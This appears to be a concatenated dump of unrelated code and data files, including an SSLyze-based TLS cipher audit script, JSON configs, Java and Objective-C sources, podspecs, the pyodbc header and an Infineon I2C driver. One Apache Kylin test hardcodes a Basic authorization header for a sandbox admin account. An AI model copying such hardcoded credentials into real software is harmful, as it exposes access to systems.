connection_string = host + ":" + str(port) # Proxy via SSH. proxy_proc = None if proxy: connection_string = "localhost:10023" proxy_proc = subprocess.Popen(["ssh", "-N", "-L10023:%s:%d" % (host, port), proxy]) time.sleep(3) try: # Execute SSLyze. out = subprocess.check_output([SSLYZE] + common_opts + opts + [connection_string]) out = out.decode("utf8") # Trim output to make better for storing in git. if "SCAN RESULTS FOR" not in out: # Failed. Just output the error. out = re.sub("[\w\W]*CHECKING HOST\(S\) AVAILABILITY\n\s*-+\n", "", out) # chop off header that shows the host we queried out = re.sub("[\w\W]*SCAN RESULTS FOR.*\n\s*-+\n", "", out) # chop off header that shows the host we queried out = re.sub("SCAN COMPLETED IN .*", "", out) out = out.rstrip(" \n-") + "\n" # Print. print(out) # Pull out the accepted ciphers list for each SSL/TLS protocol # version outputted. accepted_ciphers = set() for ciphers in re.findall(" Accepted:([\w\W]*?)\n *\n", out): accepted_ciphers |= set(re.findall("\n\s*(\S*)", ciphers)) # Compare to what Mozilla recommends, for a given modernness-level. print(" Should Not Offer: " + (", ".join(sorted(accepted_ciphers-set(ok_ciphers))) or "(none -- good)")) print(" Could Also Offer: " + (", ".join(sorted(set(ok_ciphers)-accepted_ciphers)) or "(none -- good)")) # What clients does that mean we support on this protocol? supported_clients = { } for cipher in accepted_ciphers: if cipher in cipher_clients: for client in cipher_clients[cipher]: supported_clients[client] = supported_clients.get(client, 0) + 1 print(" Supported Clients: " + (", ".join(sorted(supported_clients.keys(), key = lambda client : -supported_clients[client])))) # Blank line. print() finally: if proxy_proc: proxy_proc.terminate() try: proxy_proc.wait(5) except subprocess.TimeoutExpired: proxy_proc.kill() # Get a list of OpenSSL cipher names. cipher_names = { } for cipher in csv.DictReader(io.StringIO(urllib.request.urlopen("https://raw.githubusercontent.com/mail-in-a-box/user-agent-tls-capabilities/master/cipher_names.csv").read().decode("utf8"))): # not sure why there are some multi-line values, use first line: cipher["OpenSSL"] = cipher["OpenSSL"].split("\n")[0] cipher_names[cipher["IANA"]] = cipher["OpenSSL"] # Get a list of what clients support what ciphers, using OpenSSL cipher names. client_compatibility = json.loads(urllib.request.urlopen("https://raw.githubusercontent.com/mail-in-a-box/user-agent-tls-capabilities/master/clients.json").read().decode("utf8")) cipher_clients = { } for client in client_compatibility: if len(set(client['protocols']) & set(["TLS 1.0", "TLS 1.1", "TLS 1.2"])) == 0: continue # does not support TLS for cipher in client['ciphers']: cipher_clients.setdefault(cipher_names.get(cipher), set()).add("/".join(x for x in [client['client']['name'], client['client']['version'], client['client']['platform']] if x)) # Run SSLyze on various ports. # SMTP sslyze(["--starttls=smtp"], 25, MOZILLA_CIPHERS_OLD) # SMTP Submission sslyze(["--starttls=smtp"], 587, MOZILLA_CIPHERS_MODERN) # HTTPS sslyze(["--http_get", "--chrome_sha1", "--hsts"], 443, MOZILLA_CIPHERS_INTERMEDIATE) # IMAP sslyze([], 993, MOZILLA_CIPHERS_MODERN) # POP3 sslyze([], 995, MOZILLA_CIPHERS_MODERN)
3,184
1,210
{ "UIReplay": { "UIFolder": "data/UIExploreResult/Graph", "GraphFolder": "data/UIExploreResult/Graph", "TestExampleFolder": "data/UIExploreResult/ExpandExample/0", "WaitTime": 4 }, "Debug": { "ShowButton": true, "ShowCostTime": false, "ShowImageRatio": 0.5, "TestGetState": false } }
175
331
// // XMLNode.h // Monal // // Created by <NAME> on 6/29/13. // // #import <Foundation/Foundation.h> #import "MLConstants.h" NS_ASSUME_NONNULL_BEGIN @interface MLXMLNode : NSObject <NSSecureCoding> { } +(BOOL) supportsSecureCoding; /** Initilizes with an element type */ -(id) initWithElement:(NSString*) element; -(id) initWithElement:(NSString*) element andNamespace:(NSString*) xmlns; -(id) initWithElement:(NSString*) element andNamespace:(NSString*) xmlns withAttributes:(NSDictionary*) attributes andChildren:(NSArray*) children andData:(NSString* _Nullable) data; -(id) initWithElement:(NSString*) element withAttributes:(NSDictionary*) attributes andChildren:(NSArray*) children andData:(NSString* _Nullable) data; /** Query for text contents, elementNames, attributes or child elements */ -(NSArray*) find:(NSString*) queryString; -(id _Nullable) findFirst:(NSString*) queryString; /** Check if the current node matches the queryString and/or its extraction command would return something */ -(BOOL) check:(NSString*) queryString; /** Quickly set an XMLNS attribute */ -(void) setXMLNS:(NSString*) xmlns; /** Generates an XML String suitable for writing based on the node */ @property (strong, readonly) NSString* XMLString; -(NSString*) XMLString; -(NSString*) description; /** Adds a new child node (this creates a copy of the node and changes the copy's parent property to its new parent */ -(void) addChild:(MLXMLNode*) child; /** Removes child by reference */ -(void) removeChild:(MLXMLNode*) child; /** The name of the element itself. */ @property (atomic, strong) NSString* element; /** Attributes are given keys as they will be printed in the XML */ @property (atomic, readonly) NSMutableDictionary* attributes; /** Children are XMLnodes */ @property (atomic, readonly) NSMutableArray* children; /** String to be inserted into the data field between elements. AKA inner text. */ @property (atomic, strong) NSString* _Nullable data; /** Parent node of this one (if any) */ @property (atomic, readonly) MLXMLNode* _Nullable parent; @end NS_ASSUME_NONNULL_END
651
713
<reponame>franz1981/infinispan package org.infinispan.server.hotrod; import java.time.temporal.Temporal; import javax.security.auth.Subject; import org.infinispan.security.Security; public class AccessLoggingHeader extends HotRodHeader { public final Object principalName; public final Object key; public final int requestBytes; public final Temporal requestStart; public AccessLoggingHeader(HotRodHeader header, Subject subject, Object key, int requestBytes, Temporal requestStart) { super(header); this.principalName = subject != null ? Security.getSubjectUserPrincipal(subject).getName() : null; this.key = key; this.requestBytes = requestBytes; this.requestStart = requestStart; } }
234
348
{"nom":"Chéronnac","circ":"2ème circonscription","dpt":"Haute-Vienne","inscrits":229,"abs":96,"votants":133,"blancs":12,"nuls":8,"exp":113,"res":[{"nuance":"COM","nom":"<NAME>","voix":66},{"nuance":"REM","nom":"<NAME>","voix":47}]}
93
3,402
#!/usr/bin/python # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # This is python unittest used in smoke-test.sh, aim to testing diagnosis via rest APIs. import unittest import requests class testDiag(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testDiag(self): url = "http://sandbox:7070/kylin/api/diag/project/learn_kylin/download" headers = { 'content-type': "application/json", 'authorization': "Basic QURNSU46S1lMSU4=", 'cache-control': "no-cache" } response = requests.get(url, headers = headers) self.assertEqual(response.status_code, 200, 'Diagnosis failed.') if __name__ == '__main__': print 'Test Diagnosis for Kylin sample.' unittest.main()
511
416
/* * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.tencentcloudapi.postgres.v20170312.models; import com.tencentcloudapi.common.AbstractModel; import com.google.gson.annotations.SerializedName; import com.google.gson.annotations.Expose; import java.util.HashMap; public class DescribeSlowQueryListResponse extends AbstractModel{ /** * 选定时间范围内慢SQL总条数。 */ @SerializedName("TotalCount") @Expose private Long TotalCount; /** * 指定时间范围内,慢SQL耗时分段分析。 注意:此字段可能返回 null,表示取不到有效值。 */ @SerializedName("DurationAnalysis") @Expose private DurationAnalysis [] DurationAnalysis; /** * 指定时间范围内 慢SQL流水。 注意:此字段可能返回 null,表示取不到有效值。 */ @SerializedName("RawSlowQueryList") @Expose private RawSlowQuery [] RawSlowQueryList; /** * 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ @SerializedName("RequestId") @Expose private String RequestId; /** * Get 选定时间范围内慢SQL总条数。 * @return TotalCount 选定时间范围内慢SQL总条数。 */ public Long getTotalCount() { return this.TotalCount; } /** * Set 选定时间范围内慢SQL总条数。 * @param TotalCount 选定时间范围内慢SQL总条数。 */ public void setTotalCount(Long TotalCount) { this.TotalCount = TotalCount; } /** * Get 指定时间范围内,慢SQL耗时分段分析。 注意:此字段可能返回 null,表示取不到有效值。 * @return DurationAnalysis 指定时间范围内,慢SQL耗时分段分析。 注意:此字段可能返回 null,表示取不到有效值。 */ public DurationAnalysis [] getDurationAnalysis() { return this.DurationAnalysis; } /** * Set 指定时间范围内,慢SQL耗时分段分析。 注意:此字段可能返回 null,表示取不到有效值。 * @param DurationAnalysis 指定时间范围内,慢SQL耗时分段分析。 注意:此字段可能返回 null,表示取不到有效值。 */ public void setDurationAnalysis(DurationAnalysis [] DurationAnalysis) { this.DurationAnalysis = DurationAnalysis; } /** * Get 指定时间范围内 慢SQL流水。 注意:此字段可能返回 null,表示取不到有效值。 * @return RawSlowQueryList 指定时间范围内 慢SQL流水。 注意:此字段可能返回 null,表示取不到有效值。 */ public RawSlowQuery [] getRawSlowQueryList() { return this.RawSlowQueryList; } /** * Set 指定时间范围内 慢SQL流水。 注意:此字段可能返回 null,表示取不到有效值。 * @param RawSlowQueryList 指定时间范围内 慢SQL流水。 注意:此字段可能返回 null,表示取不到有效值。 */ public void setRawSlowQueryList(RawSlowQuery [] RawSlowQueryList) { this.RawSlowQueryList = RawSlowQueryList; } /** * Get 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 * @return RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ public String getRequestId() { return this.RequestId; } /** * Set 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 * @param RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ public void setRequestId(String RequestId) { this.RequestId = RequestId; } public DescribeSlowQueryListResponse() { } /** * NOTE: Any ambiguous key set via .set("AnyKey", "value") will be a shallow copy, * and any explicit key, i.e Foo, set via .setFoo("value") will be a deep copy. */ public DescribeSlowQueryListResponse(DescribeSlowQueryListResponse source) { if (source.TotalCount != null) { this.TotalCount = new Long(source.TotalCount); } if (source.DurationAnalysis != null) { this.DurationAnalysis = new DurationAnalysis[source.DurationAnalysis.length]; for (int i = 0; i < source.DurationAnalysis.length; i++) { this.DurationAnalysis[i] = new DurationAnalysis(source.DurationAnalysis[i]); } } if (source.RawSlowQueryList != null) { this.RawSlowQueryList = new RawSlowQuery[source.RawSlowQueryList.length]; for (int i = 0; i < source.RawSlowQueryList.length; i++) { this.RawSlowQueryList[i] = new RawSlowQuery(source.RawSlowQueryList[i]); } } if (source.RequestId != null) { this.RequestId = new String(source.RequestId); } } /** * Internal implementation, normal users should not use it. */ public void toMap(HashMap<String, String> map, String prefix) { this.setParamSimple(map, prefix + "TotalCount", this.TotalCount); this.setParamArrayObj(map, prefix + "DurationAnalysis.", this.DurationAnalysis); this.setParamArrayObj(map, prefix + "RawSlowQueryList.", this.RawSlowQueryList); this.setParamSimple(map, prefix + "RequestId", this.RequestId); } }
2,878
5,169
{ "name": "UIPanGestureRecognizerDirection", "version": "1.1.1", "platforms": { "ios": "11.0" }, "source_files": "UIPanGestureRecognizerDirection/Classes/**/*", "homepage": "https://github.com/iwheelbuy/UIPanGestureRecognizerDirection", "license": "MIT", "authors": { "iwheelbuy": "<EMAIL>" }, "source": { "git": "https://github.com/iwheelbuy/UIPanGestureRecognizerDirection.git", "tag": "1.1.1" }, "summary": "UIPanGestureRecognizerDirection", "cocoapods_version": ">= 1.8.1", "swift_versions": [ "5.1" ], "swift_version": "5.1" }
266
649
package net.serenitybdd.screenplay; class EatsImmutableFruit implements Performable { private final String fruit; EatsImmutableFruit(String fruit) { this.fruit = fruit; } public static EatsImmutableFruit ofType(String type) { return Tasks.instrumented(EatsImmutableFruit.class, type); } @Override public <T extends Actor> void performAs(T actor) { } }
150
5,169
{ "name": "Hostess", "version": "0.9.1", "summary": "A Swift implementation of NSHost that builds for iOS, macOS and tvOS.", "description": "A Swift implementation of NSHost (Host in Swift) that works on iOS, OS X and tvOS. Hostess.swift is safe to use in a framework because it does not require a bridging header.\n\nHostess.swift was created because NSHost is unavailable on iOS and CFHost does not offer the full functionality of it OS X counterpart. In addition, those developers hoping for a pure-Swift solution were out of luck without using a bridging header. Hostess.swift does not use a bridging header, so is safe to use in Framework development. It is 100% Swift and tries to maintain as much type safety as the low level networking C API will allow.", "homepage": "https://github.com/rjstelling/Hostess.swift", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "<NAME>": "<EMAIL>" }, "social_media_url": "http://twitter.com/rjstelling", "platforms": { "ios": "9.3", "osx": "10.12", "watchos": "3.0", "tvos": "10.0" }, "source": { "git": "https://github.com/rjstelling/Hostess.swift.git", "tag": "0.9.1" }, "source_files": [ "Projects/Hostess/Hostess/", "Projects/Hostess/Hostess/**/*.{h,m}" ], "exclude_files": "Projects/Hostess/Hostess//Exclude", "pushed_with_swift_version": "4.0" }
496
2,419
<filename>src/pyodbc.h // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the "Software"), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS // OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #ifndef PYODBC_H #define PYODBC_H #ifdef _MSC_VER // The MS headers generate a ton of warnings. #pragma warning(push, 0) #define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <malloc.h> #pragma warning(pop) typedef __int64 INT64; typedef unsigned __int64 UINT64; #else typedef unsigned char byte; typedef unsigned int UINT; typedef long long INT64; typedef unsigned long long UINT64; #define _strcmpi strcasecmp #define _strdup strdup #ifdef __MINGW32__ #include <windef.h> #include <malloc.h> #else inline int max(int lhs, int rhs) { return (rhs > lhs) ? rhs : lhs; } #endif #endif #ifdef __SUN__ #include <alloca.h> #endif #define PY_SSIZE_T_CLEAN 1 #include <Python.h> #include <floatobject.h> #include <longobject.h> #include <boolobject.h> #include <unicodeobject.h> #include <structmember.h> #ifdef __CYGWIN__ #include <windows.h> #endif #include <sql.h> #include <sqlext.h> #if PY_VERSION_HEX < 0x02050000 && !defined(PY_SSIZE_T_MIN) typedef int Py_ssize_t; #define PY_SSIZE_T_MAX INT_MAX #define PY_SSIZE_T_MIN INT_MIN #define PyInt_AsSsize_t PyInt_AsLong #define lenfunc inquiry #define ssizeargfunc intargfunc #define ssizeobjargproc intobjargproc #endif #ifndef _countof #define _countof(a) (sizeof(a) / sizeof(a[0])) #endif #ifndef SQL_SS_TABLE #define SQL_SS_TABLE -153 #endif #ifndef SQL_SOPT_SS_PARAM_FOCUS #define SQL_SOPT_SS_PARAM_FOCUS 1236 #endif #ifndef SQL_CA_SS_TYPE_NAME #define SQL_CA_SS_TYPE_NAME 1227 #endif #ifndef SQL_CA_SS_SCHEMA_NAME #define SQL_CA_SS_SCHEMA_NAME 1226 #endif #ifndef SQL_CA_SS_CATALOG_NAME #define SQL_CA_SS_CATALOG_NAME 1225 #endif inline bool IsSet(DWORD grf, DWORD flags) { return (grf & flags) == flags; } #ifdef UNUSED #undef UNUSED #endif inline void UNUSED(...) { } #include <stdarg.h> #if defined(__SUNPRO_CC) || defined(__SUNPRO_C) || (defined(__GNUC__) && !defined(__MINGW32__)) #ifndef __FreeBSD__ #include <alloca.h> #endif #define CDECL cdecl #define min(X,Y) ((X) < (Y) ? (X) : (Y)) #define max(X,Y) ((X) > (Y) ? (X) : (Y)) #define _alloca alloca inline void _strlwr(char* name) { while (*name) { *name = tolower(*name); name++; } } #else #define CDECL #endif #define STRINGIFY(x) #x #define TOSTRING(x) STRINGIFY(x) // Building an actual debug version of Python is so much of a pain that it never happens. I'm providing release-build // versions of assertions. #if defined(PYODBC_ASSERT) && defined(_MSC_VER) #include <crtdbg.h> inline void FailAssert(const char* szFile, size_t line, const char* szExpr) { printf("assertion failed: %s(%d)\n%s\n", szFile, (int)line, szExpr); __debugbreak(); // _CrtDbgBreak(); } #define I(expr) if (!(expr)) FailAssert(__FILE__, __LINE__, #expr); #define N(expr) if (expr) FailAssert(__FILE__, __LINE__, #expr); #else #define I(expr) #define N(expr) #endif #ifdef PYODBC_TRACE void DebugTrace(const char* szFmt, ...); #else inline void DebugTrace(const char* szFmt, ...) { UNUSED(szFmt); } #endif #define TRACE DebugTrace // #ifdef PYODBC_LEAK_CHECK // #define pyodbc_malloc(len) _pyodbc_malloc(__FILE__, __LINE__, len) // void* _pyodbc_malloc(const char* filename, int lineno, size_t len); // void pyodbc_free(void* p); // void pyodbc_leak_check(); // #else #define pyodbc_malloc malloc #define pyodbc_free free // #endif // issue #880: entry missing from iODBC sqltypes.h #ifndef BYTE typedef unsigned char BYTE; #endif bool pyodbc_realloc(BYTE** pp, size_t newlen); // A wrapper around realloc with a safer interface. If it is successful, *pp is updated to the // new pointer value. If not successful, it is not modified. (It is easy to forget and lose // the old pointer value with realloc.) void PrintBytes(void* p, size_t len); const char* CTypeName(SQLSMALLINT n); const char* SqlTypeName(SQLSMALLINT n); #include "pyodbccompat.h" #define HERE printf("%s(%d)\n", __FILE__, __LINE__) #endif // pyodbc_h
1,863
930
<reponame>zhenchai/pigeon<gh_stars>100-1000 /** * Dianping.com Inc. * Copyright (c) 2003-2013 All Rights Reserved. */ package com.dianping.pigeon.remoting.provider.service.method; import java.lang.reflect.Method; import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import com.dianping.pigeon.config.ConfigChangeListener; import com.dianping.pigeon.config.ConfigManager; import com.dianping.pigeon.config.ConfigManagerLoader; import org.apache.commons.lang.StringUtils; import com.dianping.pigeon.log.Logger; import com.dianping.pigeon.log.LoggerLoader; import com.dianping.pigeon.remoting.common.domain.CompactRequest; import com.dianping.pigeon.remoting.common.domain.InvocationRequest; import com.dianping.pigeon.remoting.common.domain.ServiceId; import com.dianping.pigeon.remoting.common.exception.BadRequestException; import com.dianping.pigeon.remoting.provider.config.ProviderConfig; import com.dianping.pigeon.remoting.provider.exception.InvocationFailureException; import com.dianping.pigeon.remoting.provider.process.filter.ContextTransferProcessFilter; import com.dianping.pigeon.remoting.provider.publish.ServicePublisher; import com.dianping.pigeon.util.LangUtils; public final class ServiceMethodFactory { private static final Logger logger = LoggerLoader.getLogger(ContextTransferProcessFilter.class); private static Map<String, ServiceMethodCache> methods = new ConcurrentHashMap<String, ServiceMethodCache>(); private static Set<String> ingoreMethods = new HashSet<String>(); private static final String KEY_COMPACT = "pigeon.invoker.request.compact"; private static final ConfigManager configManager = ConfigManagerLoader.getConfigManager(); private static volatile boolean isCompact = configManager.getBooleanValue(KEY_COMPACT, true); static { Method[] objectMethodArray = Object.class.getMethods(); for (Method method : objectMethodArray) { ingoreMethods.add(method.getName()); } Method[] classMethodArray = Class.class.getMethods(); for (Method method : classMethodArray) { ingoreMethods.add(method.getName()); } configManager.registerConfigChangeListener(new InnerConfigChangeListener()); } public static ServiceMethod getMethod(InvocationRequest request) throws InvocationFailureException { String serviceName = request.getServiceName(); String methodName = request.getMethodName(); if (StringUtils.isBlank(methodName)) { throw new IllegalArgumentException("method name is required"); } String[] paramClassNames = request.getParamClassName(); String version = request.getVersion(); String newUrl = ServicePublisher.getServiceUrlWithVersion(serviceName, version); if (logger.isDebugEnabled()) { logger.debug("get method for service url:" + request); } ServiceMethodCache serviceMethodCache = getServiceMethodCache(newUrl); if (serviceMethodCache == null) { if (logger.isDebugEnabled()) { logger.debug("no service found for version:" + version + ", use the default version of service:" + serviceName); } serviceMethodCache = getServiceMethodCache(serviceName); } if (serviceMethodCache == null) { throw new BadRequestException("cannot find service for request:" + request); } return serviceMethodCache.getMethod(methodName, new ServiceParam(paramClassNames)); } public static ServiceMethodCache getServiceMethodCache(String url) { ServiceMethodCache serviceMethodCache = methods.get(url); if (serviceMethodCache == null) { Map<String, ProviderConfig<?>> services = ServicePublisher.getAllServiceProviders(); ProviderConfig<?> providerConfig = services.get(url); if (providerConfig != null) { Object service = providerConfig.getService(); Method[] methodArray = service.getClass().getMethods(); serviceMethodCache = new ServiceMethodCache(url, service); for (Method method : methodArray) { if (!ingoreMethods.contains(method.getName())) { method.setAccessible(true); serviceMethodCache.addMethod(method.getName(), new ServiceMethod(service, method)); if (isCompact) { int id = LangUtils.hash(url + "#" + method.getName(), 0, Integer.MAX_VALUE); ServiceId serviceId = new ServiceId(url, method.getName()); ServiceId lastId = CompactRequest.PROVIDER_ID_MAP.putIfAbsent(id, serviceId); if (lastId != null && !serviceId.equals(lastId)) { throw new IllegalArgumentException("same id for service:" + url + ", method:" + method.getName()); } } } } methods.put(url, serviceMethodCache); } } return serviceMethodCache; } public static void init(String url) { getServiceMethodCache(url); } public static Map<String, ServiceMethodCache> getAllMethods() { return methods; } private static class InnerConfigChangeListener implements ConfigChangeListener { @Override public void onKeyUpdated(String key, String value) { if (key.endsWith(KEY_COMPACT)) { try { isCompact = Boolean.valueOf(value); } catch (RuntimeException e) { logger.warn("invalid value for key " + key, e); } } } @Override public void onKeyAdded(String key, String value) { } @Override public void onKeyRemoved(String key) { } } }
1,732
554
<reponame>fxxf1111/X-APM<filename>third-party/tiles/src/main/java/dev/nick/tiles/tile/EditTextTileView.java package dev.nick.tiles.tile; import android.content.Context; import android.content.DialogInterface; import android.support.v7.app.AlertDialog; import android.text.InputType; import android.util.AttributeSet; import android.view.LayoutInflater; import android.view.View; import android.widget.EditText; import dev.nick.tiles.R; public class EditTextTileView extends TileView { EditText mEditText; AlertDialog mAlertDialog; public EditTextTileView(Context context) { super(context); } public EditTextTileView(Context context, AttributeSet attrs) { super(context, attrs); } @Override protected void onCreate(Context context) { super.onCreate(context); View editTextContainer = LayoutInflater.from(context).inflate(R.layout.dialog_edit_text, null, false); mEditText = (EditText) editTextContainer.findViewById(R.id.edit_text); mEditText.setHint(getHint()); mEditText.setInputType(getInputType()); mAlertDialog = new AlertDialog.Builder(context) .setView(editTextContainer) .setTitle(getDialogTitle()) .setPositiveButton(getPositiveButton(), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { onPositiveButtonClick(); } }) .setNegativeButton(getNegativeButton(), new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { onNegativeButtonClick(); } }) .create(); } protected int getInputType() { return InputType.TYPE_CLASS_TEXT; } protected CharSequence getHint() { return null; } protected EditText getEditText() { return mEditText; } protected CharSequence getDialogTitle() { return "Edit tile"; } protected CharSequence getPositiveButton() { return "SAVE"; } protected CharSequence getNegativeButton() { return "DISCARD"; } protected void onPositiveButtonClick() { // Nothing. } protected void onNegativeButtonClick() { // Nothing. } @Override public void onClick(View v) { super.onClick(v); mAlertDialog.show(); } }
1,213
2,637
<filename>vendors/infineon/XMCLib/2.1.20/drivers/src/xmc_i2c.c /** * @file xmc_i2c.c * @date 2015-10-02 * * @cond ********************************************************************************************************************* * XMClib v2.1.20 - XMC Peripheral Driver Library * * Copyright (c) 2015-2018, Infineon Technologies AG * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification,are permitted provided that the * following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following * disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of the copyright holders nor the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY,OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * To improve the quality of the software, users are encouraged to share modifications, enhancements or bug fixes with * Infineon Technologies AG <EMAIL>). ********************************************************************************************************************* * * Change History * -------------- * * 2015-02-20: * - Initial <br> * * 2015-05-20: - Modified XMC_I2C_CH_Stop() API for not setting to IDLE the channel if it is busy <br> * * 2015-06-20: * - Removed GetDriverVersion API <br> * * 2015-08-14: * - updated the XMC_I2C_CH_SetBaudrate API to support dynamic change from 400K to low frequencies <br> * * 2015-09-01: * - Modified XMC_I2C_CH_EnableEvent() and XMC_I2C_CH_DisableEvent() for supporting multiple events configuration <br> * * 2015-10-02: * - Fixed 10bit addressing * * @endcond * */ /********************************************************************************************************************* * HEADER FILES *********************************************************************************************************************/ #include <xmc_i2c.h> /********************************************************************************************************************* * MACROS *********************************************************************************************************************/ #define XMC_I2C_7BIT_ADDR_Pos (8U) /**< 7-bit address position */ #define TRANSMISSION_MODE (3U) /**< The shift control signal is considered active without referring to the actual signal level. Data frame transfer is possible after each edge of the signal.*/ #define WORDLENGTH (7U) /**< Word length */ #define SET_TDV (1U) /**< Transmission data valid */ #define XMC_I2C_10BIT_ADDR_MASK (0x7C00U) /**< Address mask for 10-bit mode */ /********************************************************************************************************************* * ENUMS *********************************************************************************************************************/ typedef enum XMC_I2C_CH_TDF { XMC_I2C_CH_TDF_MASTER_SEND = 0U, XMC_I2C_CH_TDF_SLAVE_SEND = (uint32_t)1U << 8U, XMC_I2C_CH_TDF_MASTER_RECEIVE_ACK = (uint32_t)2U << 8U, XMC_I2C_CH_TDF_MASTER_RECEIVE_NACK = (uint32_t)3U << 8U, XMC_I2C_CH_TDF_MASTER_START = (uint32_t)4U << 8U, XMC_I2C_CH_TDF_MASTER_RESTART = (uint32_t)5U << 8U, XMC_I2C_CH_TDF_MASTER_STOP = (uint32_t)6U << 8U } XMC_I2C_CH_TDF_t; typedef enum XMC_I2C_CH_MAX_SPEED { XMC_I2C_CH_MAX_SPEED_STANDARD = 100000U, XMC_I2C_CH_MAX_SPEED_FAST = 400000U } XMC_I2C_CH_MAX_SPEED_t; typedef enum XMC_I2C_CH_CLOCK_OVERSAMPLING { XMC_I2C_CH_CLOCK_OVERSAMPLING_STANDARD = 10U, XMC_I2C_CH_CLOCK_OVERSAMPLING_FAST = 25U } XMC_I2C_CH_CLOCK_OVERSAMPLINGS_t; /********************************************************************************************************************* * API IMPLEMENTATION *********************************************************************************************************************/ /* Initializes the USIC channel by setting the data format, slave address, baudrate, transfer buffer */ void XMC_I2C_CH_Init(XMC_USIC_CH_t *const channel, const XMC_I2C_CH_CONFIG_t *const config) { XMC_USIC_CH_Enable(channel); /* Data format configuration */ channel->SCTR = ((uint32_t)TRANSMISSION_MODE << (uint32_t)USIC_CH_SCTR_TRM_Pos) | /* Transmision mode */ ((uint32_t)WORDLENGTH << (uint32_t)USIC_CH_SCTR_WLE_Pos) | /* 8 data bits */ USIC_CH_SCTR_FLE_Msk | /* unlimited data flow */ USIC_CH_SCTR_SDIR_Msk | /* MSB shifted first */ USIC_CH_SCTR_PDL_Msk; /* Passive Data Level */ XMC_I2C_CH_SetSlaveAddress(channel, config->address); (void)XMC_I2C_CH_SetBaudrate(channel, config->baudrate); /* Enable transfer buffer */ channel->TCSR = ((uint32_t)SET_TDV << (uint32_t)USIC_CH_TCSR_TDEN_Pos) | USIC_CH_TCSR_TDSSM_Msk; /* Clear status flags */ channel->PSCR = 0xFFFFFFFFU; /* Disable parity generation */ channel->CCR = 0x0U; } /* Sets the slave address */ void XMC_I2C_CH_SetSlaveAddress(XMC_USIC_CH_t *const channel, const uint16_t address) { if ((address & XMC_I2C_10BIT_ADDR_MASK) == XMC_I2C_10BIT_ADDR_GROUP) { channel->PCR_IICMode = (address & 0xffU) | ((address << 1) & 0xfe00U); } else { channel->PCR_IICMode = ((uint32_t)address) << XMC_I2C_7BIT_ADDR_Pos; } } /* Read the slave address */ uint16_t XMC_I2C_CH_GetSlaveAddress(const XMC_USIC_CH_t *const channel) { uint32_t address = channel->PCR_IICMode & (uint32_t)USIC_CH_PCR_IICMode_SLAD_Msk; if ((address & 0xffU) == 0U) { address = address >> XMC_I2C_7BIT_ADDR_Pos; } else { address = (address & 0xffU) | ((address >> 1) & 0x0300U); } return (uint16_t)address; } /* Sets the baudrate and oversampling based on standard speed or fast speed */ XMC_I2C_CH_STATUS_t XMC_I2C_CH_SetBaudrate(XMC_USIC_CH_t *const channel, uint32_t rate) { XMC_I2C_CH_STATUS_t status; 